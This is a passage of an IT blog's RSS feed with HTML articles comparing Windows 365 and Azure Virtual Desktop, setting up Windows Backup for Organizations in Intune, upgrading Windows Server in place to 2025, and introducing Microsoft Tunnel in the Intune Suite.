<td>Windows 365 Frontline</td>
<td>2</td>
<td>8</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>4</td>
<td>16</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>4</td>
<td>16</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>4</td>
<td>16</td>
<td>512</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>8</td>
<td>32</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>8</td>
<td>32</td>
<td>512</td>
</tr>
</tbody>
</table>
</details>
</div>
<p>When it comes to providing dedicated Cloud PCs, most businesses need to decide between Windows 365 Business and Windows 365 Enterprise.
Below you find a feature matrix comparing these two plans:</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Business</th>
<th>Enterprise</th>
</tr>
</thead>
<tbody>
<tr>
<td>Setup without domain (not local domain)</td>
<td>✅</td>
<td>❌</td>
</tr>
<tr>
<td>Self-serve device reset</td>
<td>✅</td>
<td>❌</td>
</tr>
<tr>
<td>Self-service upgrades</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Universal Print Integration</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Graph API &amp; MSP tooling support</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Image Management</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Custom images</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Microsoft Intune provisioning and management</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Advanced reporting &amp; monitoring</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Service &amp; Operational health alerts</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Hybrid support</td>
<td>❌</td>
<td>✅</td>
</tr>
</tbody>
</table>
<p><u>Windows 365 GPU-enabled</u></p>
<p>Microsoft also provides a Windows 365 Enterprise plan for GPU-enabled Cloud PCs with basic graphics acceleration or a dedicatid GPU.</p>
<table>
<thead>
<tr>
<th></th>
<th style="text-align:center">vCPU</th>
<th style="text-align:center">RAM</th>
<th style="text-align:center">VRAM</th>
<th style="text-align:center">Storage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standard</td>
<td style="text-align:center">4</td>
<td style="text-align:center">16 GB</td>
<td style="text-align:center">8 GB</td>
<td style="text-align:center">512 GB</td>
</tr>
<tr>
<td>Super</td>
<td style="text-align:center">8</td>
<td style="text-align:center">56 GB</td>
<td style="text-align:center">12 GB</td>
<td style="text-align:center">1 TB</td>
</tr>
<tr>
<td>Max</td>
<td style="text-align:center">16</td>
<td style="text-align:center">110 GB</td>
<td style="text-align:center">16 GB</td>
<td style="text-align:center">1 TB</td>
</tr>
</tbody>
</table>
<h2 id="what-is-azure-virtual-desktop-avd" tabindex="-1">👩‍💻 What is Azure Virtual Desktop (AVD)? <a class="header-anchor" href="#what-is-azure-virtual-desktop-avd" aria-label="Permalink to &quot;:woman_technologist: What is Azure Virtual Desktop (AVD)?&quot;">&ZeroWidthSpace;</a></h2>
<p>Azure Virtual Desktop is around for many many years at this point.
It is a computer virtualization solution (Virtual Desktop Infrastructure (VDI)) in the Microsoft Azure Cloud.
It offers all the known and loved features that your local VDI solutions provides and maybe a bit more, just in the cloud.
Dedicated virtual desktops, multi-session desktops, non persistant desktops or remote apps is all possible with a maximum of control.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn more about AVD look <a href="https://learn.microsoft.com/en-us/azure/virtual-desktop/overview" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="windows-365-vs-azure-virtual-desktop" tabindex="-1">🆚 Windows 365 vs Azure Virtual Desktop <a class="header-anchor" href="#windows-365-vs-azure-virtual-desktop" aria-label="Permalink to &quot;:vs: Windows 365 vs Azure Virtual Desktop&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows 365 and AVD are both cloud-based virtual desktop solutions but serve different needs.</p>
<ul>
<li><strong>Windows 365</strong> (Cloud PC) delivers a fully managed Cloud PC for a simple and consistent Windows experience with minimal deployment effort.</li>
<li><strong>AVD</strong> (Cloud VDI) offers a flexible VDI platform supporting complex scenarios with multi-session capabilities and advanced configuration options.</li>
</ul>
<p>Responsibility matrix:</p>
<table>
<thead>
<tr>
<th></th>
<th style="text-align:center">Windows 365 Business</th>
<th style="text-align:center">Windows 365 Enterprise</th>
<th style="text-align:center">Azure Virtual Desktop</th>
<th style="text-align:center">On-premise VDI</th>
</tr>
</thead>
<tbody>
<tr>
<td>Physical datacenter</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Connection Broker service delivery</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Virtual Machines lifecycle</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Device Management onboarding</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Device identity</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">➖</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Virtual networking infrastructure</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">➖</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Capacity management (end-to-end, incl BCDR)</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">➖</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>OS image lifecycle management</td>
<td style="text-align:center">✅</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Windows servicing (patching)</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>Application Deployment &amp; Management</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
<tr>
<td>User identity</td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
<td style="text-align:center"></td>
</tr>
</tbody>
</table>
<p>✅ = Microsoft<br>
➖ = You, if you want to manage it</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Be aware that a Cloud PC is not meant to be a Server and should not be used that way.
For this purpose, Azure Virtual Machines are available. You can find more information <a href="https://learn.microsoft.com/en-us/azure/virtual-machines/" target="_blank" rel="noreferrer">here</a>.</p>
<p>That's also why there are bandwidth limits for outbound data on Windows 365 dependend on your RAM.</p>
<table>
<thead>
<tr>
<th>RAM</th>
<th>Outbound data allowance per month</th>
</tr>
</thead>
<tbody>
<tr>
<td>2 GB</td>
<td>12 GB</td>
</tr>
<tr>
<td>4 GB / 8 GB</td>
<td>20 GB</td>
</tr>
<tr>
<td>16 GB</td>
<td>40 GB</td>
</tr>
<tr>
<td>32 GB</td>
<td>70 GB</td>
</tr>
</tbody>
</table>
<p>You can find more information about the Windows 365 Bandwidth <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/requirements-network?tabs=enterprise%2Cent#bandwidth" target="_blank" rel="noreferrer">here</a>.</p>
<p>And more information about bandwidth costs in Azure in general <a href="https://azure.microsoft.com/en-us/pricing/details/bandwidth/" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h3 id="win365-pros-cons" tabindex="-1">Win365 Pros &amp; Cons <a class="header-anchor" href="#win365-pros-cons" aria-label="Permalink to &quot;Win365 Pros &amp; Cons&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>Pros:</strong></p>
<ul>
<li><strong>Simplicity:</strong> Easy to deploy, manage and support.</li>
<li><strong>Consistency:</strong> Provides a consistent Windows experience across devices.</li>
<li><strong>Predictable pricing:</strong> Subscription-based pricing makes costs predictable and forecasting easier.</li>
<li><strong>Accessibility:</strong> Accessible from any device with an internet connection.</li>
<li><strong>Microsoft 365 integration:</strong> Directly integrated with Microsoft 365, Entra ID and Intune.</li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li><strong>Customization:</strong> Limited control over host pools, networking architecture and advanced customization compared to AVD.</li>
<li><strong>Costs:</strong> More expensive at scale because of its subscription-based nature, compared to the consumption-based model of AVD.</li>
<li><strong>Scalability:</strong> No flexible consumption based provisioning of machines to help with usage spikes.</li>
</ul>
<h3 id="avd-pros-cons" tabindex="-1">AVD Pros &amp; Cons <a class="header-anchor" href="#avd-pros-cons" aria-label="Permalink to &quot;AVD Pros &amp; Cons&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>Pros:</strong></p>
<ul>
<li><strong>Flexibility:</strong> Highly customizable, supporting a wide range of configurations and multi-session deployments.</li>
<li><strong>Scalability:</strong> Easily scalable, allowing businesses to adjust resources based on demand.</li>
<li><strong>Integration:</strong> Deep integration with other Azure services.</li>
<li><strong>Costs:</strong> More cost-effective for large-scale or variable deployments.</li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li><strong>Complexity:</strong> Requires highly skilled IT staff to set up and manage effectivly.</li>
<li><strong>Security:</strong> Harder to secure then fully managed Windows 365 devices.</li>
<li><strong>Cost Predictability:</strong> Costs can be difficult to predict upfront due to variable usage.</li>
<li><strong>Management:</strong> More hands-on management required compared to Windows 365.</li>
</ul>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>In conclusion, <span style="color:crimson">Windows 365</span> offers a straightforward and reliable way to deliver <span style="color:crimson">a full Windows experience from the cloud</span>, with minimal setup and ongoing management.
It is <span style="color:crimson">the best solution for specific problems</span>, such as providing contractors with secure access without the need to send out physical devices.
Rather than using one or the other, combining AVD and Win365 is the most effective way of providing a complete cloud desktop environment that is prepared for most scenarios, cost-effective and secure.</p>
<p>Lastly Microsoft has released a purpose build cheap machine to access cloud Desktops directly, without the need to manage a local OS.
<span style="color:crimson">Windows 365 Link</span> is the first Cloud PC hardware device that lets users sign-in directly to their Cloud PC through the Windows 365 service.</p>
<p><u>References</u></p>
<ul>
<li><a href="https://michaelsendpoint.com/intune/win365.html" target="_blank" rel="noreferrer">Windows 365 Configuration</a></li>
<li><a href="https://www.microsoft.com/en/windows-365/enterprise/all-pricing?market=af" target="_blank" rel="noreferrer">Windows 365 plans and pricing</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/virtual-desktop/" target="_blank" rel="noreferrer">Azure Virtual Desktop documentation</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Backup for Organizations | Windows Client | Windows]]></title>
            <link>https://michaelsendpoint.com/windows/winbackup.html</link>
            <guid>https://michaelsendpoint.com/windows/winbackup.html</guid>
            <pubDate>Thu, 11 Dec 2025 00:51:28 GMT</pubDate>
            <description><![CDATA[Guide to Windows Backup for Organizations: setup, restore flow during OOBE, reporting, and best practices when used with Intune.]]></description>
            <content:encoded><![CDATA[<img src="\windows\client\windowsbackup\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows Backup for Organizations is a business-class feature that makes it easier to refresh and upgrade devices.
It makes sure that users have the same experience with their Windows settings and Store apps. It does this by securely synchronising settings every 8 days and offering a seamless restore process during OOBE (Out-Of-Box Experience).
This feature is designed to help you transition to a cloud-first device approach.</p>
<ul>
<li><strong>Reduce migration overhead:</strong> Streamline Windows 10 to Windows 11 transitions</li>
<li><strong>Minimize user disruption:</strong> Minimize downtime during device changes</li>
<li><strong>Strengthen resilience:</strong> Confidently reset devices with backup &amp; recovery</li>
<li><strong>Reduce IT efforts:</strong> Users restores preferred settings independently</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The complete feature is disabled by default and needs to be enabled by the admin.<br>
Specifically the restore setting applies tenant-wide and is either disabled or enabled.
But restore will only be available if the user made at least one backup before.</p>
<p>So no reason to worry about turning it on, even if you want to pilot first. Without the backup policy, users won`t see the restore option.</p>
</div>
<p><u>Requirements</u></p>
<ul>
<li>Backup
<ul>
<li>Windows 10 22H2</li>
<li>Windows 11 22H2 and later</li>
<li>Must be Microsoft Entra joined or Microsoft Entra hybrid joined</li>
</ul>
</li>
<li>Restore
<ul>
<li>Windows 11 22H2 and later</li>
<li>The user needs at least one backup</li>
<li>If Autopilot is used, it needs to use user-driven mode</li>
<li>Microsoft Entra joined</li>
</ul>
</li>
</ul>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>If device needs to be updated to a build older than July 2025.</p>
</div>
<h2 id="configuration" tabindex="-1">🔧 Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:wrench: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<p><u>Restore Configuration</u></p>
<ol>
<li>Sign in to the Intune admin center -&gt; Devices -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/enrollment" target="_blank" rel="noreferrer">Enrollment</a> and select Windows Backup and Restore.</li>
</ol>
<img src="\windows\client\windowsbackup\Config1.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ol start="2">
<li>Now, a side panel opens on the right. Select <code>On</code> under <strong>Show restore page</strong> and then select <code>Save</code>.</li>
</ol>
<img src="\windows\client\windowsbackup\Config2.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<p><u>Backup Configuration</u></p>
<ol>
<li>Sign in to the Intune admin center -&gt; Devices -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/configuration" target="_blank" rel="noreferrer">Configuration</a> and select <code>+ Create</code> -&gt; <code>+ New Policy</code>.</li>
<li>Now select <strong>Windows 10 and later</strong> as platform and <strong>Settings catalog</strong> as profile type and click <code>Create</code>.</li>
<li>Next you enter your <strong>Name</strong> and <strong>Description</strong> for the profile and click <code>Next</code>.</li>
<li>Now you click on <code>Add settings</code>, select <strong>Administrative Templates\Windows Components\Sync your settings\Enable Windows Backup</strong> and set it to <strong>Enabled</strong>.</li>
</ol>
<img src="\windows\client\windowsbackup\BackupSetting.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<ol start="5">
<li>On the next page, add scope tags if needed. On the page after that, assign the profile to your desired groups. Lastly go tho the <strong>Review + create</strong> page and click <strong>Create</strong>.</li>
</ol>
<p><u>Reporting</u></p>
<p>To view reporting on device restores, sign in to the Intune admin center, navigate to Devices, select the device that used the restore option during OOBE and you will be able to see the restore status in the <strong>Enrollment</strong> section.</p>
<img src="\windows\client\windowsbackup\Restore3.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="900" loading="lazy"/>
<h2 id="user-experience" tabindex="-1">👤 User Experience <a class="header-anchor" href="#user-experience" aria-label="Permalink to &quot;:bust_in_silhouette: User Experience&quot;">&ZeroWidthSpace;</a></h2>
<p><u>Backup Process</u></p>
<p>After an administrator configures the backup policy, Windows automatically backs up user settings, preferences, and installed Microsoft Store apps every eight days through a scheduled task.
<span style="color:crimson">The user does not need to do anything and will not take notice of the backup happening.</span></p>
<p>You can see the backup status in the Windows Settings app under <strong>Accounts</strong> -&gt; <strong>Windows backup</strong>.</p>
<img src="\windows\client\windowsbackup\BackupAuto.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<p>Users can also initiate a manual backup by opening the Windows Backup app and following the prompts.</p>
<img src="\windows\client\windowsbackup\BackupManual1.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<table>
<thead>
<tr>
<th><img src="\windows\client\windowsbackup\BackupManual2.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/></th>
<th><img src="\windows\client\windowsbackup\BackupManual3.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/></th>
<th><img src="\windows\client\windowsbackup\BackupManual4.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<img src="\windows\client\windowsbackup\BackupManual5.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<p><u>Restore process</u></p>
<p>During OOBE, the restore process follows these steps:</p>
<ol>
<li>Sign in with your Microsoft Entra ID account (the same work or school account used during backup).</li>
<li>The restore page appears after sign-in.</li>
</ol>
<img src="\windows\client\windowsbackup\Restore1.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<ol start="3">
<li>Select a device to restore settings from (you will see a screenshot of the backed up desktop) or choose to configure the device as new (To configure as new, you need to select <code>More options</code> first.).</li>
</ol>
<img src="\windows\client\windowsbackup\Restore2.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<ol start="4">
<li>Select <strong>Continue</strong> to restore backed-up user settings and Microsoft Store apps.</li>
<li>Complete the remaining OOBE process as normal.</li>
<li>Once you reach the desktop, your previously backed-up settings and apps are automatically restored.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you find your Conditional Access policies interfiering somehow in the process, you can find more information about that <a href="https://learn.microsoft.com/en-us/windows/configuration/windows-backup/?tabs=intune#conditional-access-policy-interference" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows Backup for Organizations lets you keep user settings and store apps backed up in the cloud, which makes it easier to refresh and restore devices.
It is the perfect companion to OneDrive, with the first one holding settings and the second one the data.
With this combination you can offer a painless cloud-first device replacement experience.
With this, you could even argue that resetting a device remotely is so painless, that it's much quicker and easier than any troubleshooting IT can do, especially for remote users.</p>
<p>Try it out with a few people, tell end users about the new backup screen and then roll it out bit by bit.
It's basically risk-free and the only thing that changes for the user is that they get their settings back when they get a new PC.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Server in-place Upgrade to 2025 | Windows Server | Windows]]></title>
            <link>https://michaelsendpoint.com/windows/Server/serverupgrade.html</link>
            <guid>https://michaelsendpoint.com/windows/Server/serverupgrade.html</guid>
            <pubDate>Wed, 10 Dec 2025 22:55:22 GMT</pubDate>
            <description><![CDATA[A guide to make an in place upgrade from Windows Server 2012 R2 to Windows Server 2025.]]></description>
            <content:encoded><![CDATA[<h1 id="windows-server-in-place-upgrade-from-2012-r2-to-2025" tabindex="-1">Windows Server in-place Upgrade from 2012 R2 to 2025 <a class="header-anchor" href="#windows-server-in-place-upgrade-from-2012-r2-to-2025" aria-label="Permalink to &quot;Windows Server in-place Upgrade from 2012 R2 to 2025&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows Server in-place Upgrade is a process designed to help you upgrade your existing Windows Server 2012 R2, 2016, 2019 or 2022 to Windows Server 2025 without the need for a complete reinstallation.
This guide provides step-by-step instructions to ensure a smooth and successful upgrade, minimizing downtime and preserving your server settings and data.</p>
<p>Current service end Windows Server:</p>
<table>
<thead>
<tr>
<th>Windows Server Version</th>
<th>Mainstream Support end</th>
<th>Extended Support end</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows Server 2012 R2</td>
<td>End of servicing</td>
<td>End of servicing</td>
</tr>
<tr>
<td>Windows Server 2016</td>
<td>End of servicing</td>
<td>January 12, 2027</td>
</tr>
<tr>
<td>Windows Server 2019</td>
<td>End of servicing</td>
<td>January 9, 2029</td>
</tr>
<tr>
<td>Windows Server 2022</td>
<td>October 13, 2026</td>
<td>October 14, 2031</td>
</tr>
</tbody>
</table>
<h2 id="upgrade" tabindex="-1">⬆️ Upgrade <a class="header-anchor" href="#upgrade" aria-label="Permalink to &quot;:arrow_up: Upgrade&quot;">&ZeroWidthSpace;</a></h2>
<p>Example: Windows Server 2012 R2 -&gt; Windows Server 2025</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Do not make an in-place upgrade of a Domain Controller. Set up a new server and promote it to DC instead.
Learn more <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/upgrade-domain-controllers" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<ol>
<li>Start the setup from a DVD or mounted ISO file.</li>
<li>If you select <code>Change how Setup downloads updates</code>, you can select to not download and install updates during the upgrade process in the next window.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>It is recommended to have a fully updated system before starting the upgrade process.</p>
</div>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="3">
<li>Now you can select the edition you want to upgrade to.</li>
</ol>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>If you select a different edition than the one currently installed, you will not be able to keep your apps and settings.</p>
</div>
<img src="\windows\serverupgrade\install3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="4">
<li>Now the system checks if the upgrade can be performed and then you also need to accept the license terms.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install5.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="5">
<li>After that you can choose to keep files, settings and apps or not. Next the system will check for updates if selected at the start.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install6.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install7.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="6">
<li>Finally, after when the setup checked everything, you can start the upgrade process by clicking on <code>Install</code>.</li>
</ol>
<img src="\windows\serverupgrade\install8.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="7">
<li>Then the installation process runs and the server will restart a few times.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install9.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install10.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="8">
<li>If you didn`t keep your settings, you select your languages again and set a password.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install11.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install12.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="9">
<li>Then you are ready to log in again. After the login you need to select the diagnostics settings and all is set.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\windows\serverupgrade\install13.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\windows\serverupgrade\install14.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<img src="\windows\serverupgrade\install15.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>In-place upgrades are a great way to upgrade non-critical servers where a rollback is not that difficult and you can save a lot of time.
For critical servers like Domain Controllers or database servers, a clean installation is nearly always the better option.</p>
<p><strong>In-place Pro's</strong></p>
<ul>
<li><strong>Server continuity</strong>: The upgrade maintains your server's settings, identity, IP address, hostname and domain membership.</li>
<li><strong>Automatic migration</strong>: Applications and configurations migrate automatically, reducing manual efforts.</li>
</ul>
<p><strong>In-place Con's</strong></p>
<ul>
<li><strong>Baggage</strong>: The upgrade retains old registry entries, clutter, drivers and more from the previous OS which all can impact the system later down the line.</li>
<li><strong>No replacement</strong>: No automatic process will replace your do dilligence in testing the server, the applications and checking functionality.</li>
</ul>
<p><u>References</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows-server/get-started/perform-in-place-upgrade" target="_blank" rel="noreferrer">Perform an in-place upgrade of Windows Server</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info#windows-server-major-versions-by-servicing-option--" target="_blank" rel="noreferrer">Windows Server major versions by servicing option</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/upgrade-domain-controllers" target="_blank" rel="noreferrer">Upgrade domain controllers to a newer version of Windows Server</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Additional capabilities | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/additional_capabilities.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/additional_capabilities.html</guid>
            <pubDate>Sun, 07 Dec 2025 11:49:50 GMT</pubDate>
            <description><![CDATA[&lt;img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; ma]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="additional-capabilities-of-the-intune-suite" tabindex="-1">Additional capabilities of the Intune Suite <a class="header-anchor" href="#additional-capabilities-of-the-intune-suite" aria-label="Permalink to &quot;Additional capabilities of the Intune Suite&quot;">&ZeroWidthSpace;</a></h1>
<p>The Intune Suite offers several advanced capabilities beyond its core functionality, which I will give an overview of in the following article.
These include support for specialty devices, firmware over-the-air updates, and Microsoft Tunnel for Mobile Application Management (MAM).
Together, these features help organizations manage a wider range of devices, ensure up-to-date firmware, and provide secure access for mobile apps without requiring full device enrollment.</p>
<h2 id="microsoft-tunnel-for-mobile-application-management" tabindex="-1">🚇 Microsoft Tunnel for Mobile Application Management <a class="header-anchor" href="#microsoft-tunnel-for-mobile-application-management" aria-label="Permalink to &quot;:metro: Microsoft Tunnel for Mobile Application Management&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="introduction" tabindex="-1">Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft Tunnel for MAM lets users securely access company data on their personal devices, no device enrollment required.
With support for modern authentication, single sign-on, and Conditional Access, it keeps work secure without giving IT access to the whole device.
It’s a smart way for companies to boost security while still respecting user privacy and keeping things simple.</p>
<h3 id="architecture" tabindex="-1">Architecture <a class="header-anchor" href="#architecture" aria-label="Permalink to &quot;Architecture&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft Tunnel is a VPN gateway for Intune that runs on a Linux container and lets you securely access on-prem resources using modern authentication and Conditional Access.</p>
<img src="\intune\suite\add_tunnel-architecture.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can find a more in depth overview of the Archtiecture on <a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-overview#architecture" target="_blank" rel="noreferrer">Microsoft Learn</a>.</p>
</div>
